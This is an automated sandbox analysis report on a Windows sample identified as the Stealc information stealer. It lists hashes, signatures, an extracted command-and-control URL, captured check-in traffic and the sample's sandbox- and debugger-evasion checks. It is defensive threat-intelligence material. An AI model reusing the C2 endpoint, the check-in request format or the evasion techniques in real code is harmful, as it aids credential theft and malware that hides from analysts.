Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522427
MD5:	dc92ce1751a7abfe2c6232ae8fcdd321
SHA1:	dccd40639ea30f104ff1daf9d51f6f8e76efc2ed
SHA256:	16302289d512b8fbc68c2ef8eb4d3bcebdc7f5bf353785390a14d4c5dfbee672
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6780 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DC92CE1751A7ABFE2C6232AE8FCDD321)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1781255600.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6780	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6780	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.6d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T03:24:10.566762+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.6d0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.phpo	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpw	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpc	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_006DC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_006D7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_006D9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_006D9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_006E8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006E38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006E4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_006DDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_006DE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_006E4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_006DED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_006DBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006DDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006D16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_006E3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006DF6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 38 30 30 37 41 34 34 41 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"A68007A44ABB883884179------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"doma------AECAECFCAAEBFHIEHDGH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_006D4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 38 30 30 37 41 34 34 41 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"A68007A44ABB883884179------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"doma------AECAECFCAAEBFHIEHDGH--

Source: file.exe, 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823830492.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWHjj
Source: file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpc
Source: file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpot:j
Source: file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpw
Source: file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3A8E0	0_2_00A3A8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804	0_2_00A98804
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA29A0	0_2_00AA29A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC9E2	0_2_00AAC9E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009419F9	0_2_009419F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5C12D	0_2_00A5C12D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9DA81	0_2_00A9DA81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A83212	0_2_00A83212
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA7A10	0_2_00AA7A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A96CCC	0_2_00A96CCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA9418	0_2_00AA9418
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097D447	0_2_0097D447
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA4445	0_2_00AA4445
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A255B1	0_2_00A255B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9BD9F	0_2_00A9BD9F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9ADDD	0_2_00A9ADDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9F51A	0_2_00A9F51A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A9690	0_2_009A9690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A12621	0_2_00A12621
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAE675	0_2_00AAE675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE9F94	0_2_00AE9F94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAAF02	0_2_00AAAF02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA5F45	0_2_00AA5F45

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 006D45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mljpawsw ZLIB complexity 0.9949790936381265

Source: file.exe, 00000000.00000003.1781255600.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006E9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_006E3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\IA2D82I6.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1872384 > 1048576

Source: file.exe

Static PE information: Raw size of mljpawsw is bigger than: 0x100000 < 0x1a3000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.6d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mljpawsw:EW;uqwudrny:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mljpawsw:EW;uqwudrny:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006E9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ce329 should be: 0x1d4801

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mljpawsw
Source: file.exe	Static PE information: section name: uqwudrny
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B128B0 push edi; mov dword ptr [esp], 32C15E17h	0_2_00B128CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B5E8BD push 23C5D312h; mov dword ptr [esp], edx	0_2_00B5E8F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B458A2 push 12BD7497h; mov dword ptr [esp], esi	0_2_00B458DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B96893 push ebx; mov dword ptr [esp], eax	0_2_00B968CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3A8E0 push eax; mov dword ptr [esp], 34431B00h	0_2_00A3A91E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3A8E0 push 1B2960E2h; mov dword ptr [esp], edx	0_2_00A3A9E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3A8E0 push edi; mov dword ptr [esp], esi	0_2_00A3AA36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EB035 push ecx; ret	0_2_006EB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push eax; mov dword ptr [esp], edx	0_2_00A20115
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push 385D50E6h; mov dword ptr [esp], eax	0_2_00A20129
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push ebp; mov dword ptr [esp], edx	0_2_00A2014A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push 77A457C7h; mov dword ptr [esp], ebp	0_2_00A20152
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push ecx; mov dword ptr [esp], edx	0_2_00A2016D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push eax; mov dword ptr [esp], ebx	0_2_00A20183
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push ebx; mov dword ptr [esp], 0C929AD6h	0_2_00A2020E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push 21AC689Ch; mov dword ptr [esp], ebp	0_2_00A2027D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A200CB push ebx; mov dword ptr [esp], 42EC8EB7h	0_2_00A20297
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B348C2 push 38DF81A9h; mov dword ptr [esp], ebp	0_2_00B348ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B348C2 push 4AFC60CCh; mov dword ptr [esp], edx	0_2_00B34917
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0D812 push 471DEB10h; mov dword ptr [esp], edx	0_2_00B0D82E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE2809 push edi; mov dword ptr [esp], ecx	0_2_00AE284D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push 46E2FAFAh; mov dword ptr [esp], edi	0_2_00A98886
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push eax; mov dword ptr [esp], edx	0_2_00A9888A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push esi; mov dword ptr [esp], 4E3462E7h	0_2_00A988C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push 5F312100h; mov dword ptr [esp], ecx	0_2_00A98900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push 4BD14633h; mov dword ptr [esp], edx	0_2_00A98947
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push edi; mov dword ptr [esp], edx	0_2_00A989CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push ecx; mov dword ptr [esp], 10FE7072h	0_2_00A989D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push edx; mov dword ptr [esp], 22DF19C8h	0_2_00A989E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push edi; mov dword ptr [esp], eax	0_2_00A98AC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A98804 push 450C76ABh; mov dword ptr [esp], eax	0_2_00A98B12

Source: file.exe

Static PE information: section name: mljpawsw entropy: 7.954150449631776

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_006E9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13644

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3544 second address: AB356F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FAh 0x00000007 jbe 00007F33B8C742F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F33B8C742FEh 0x00000015 jbe 00007F33B8C74309h 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB25FE second address: AB2602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2B9D second address: AB2BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5C97 second address: AB5C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
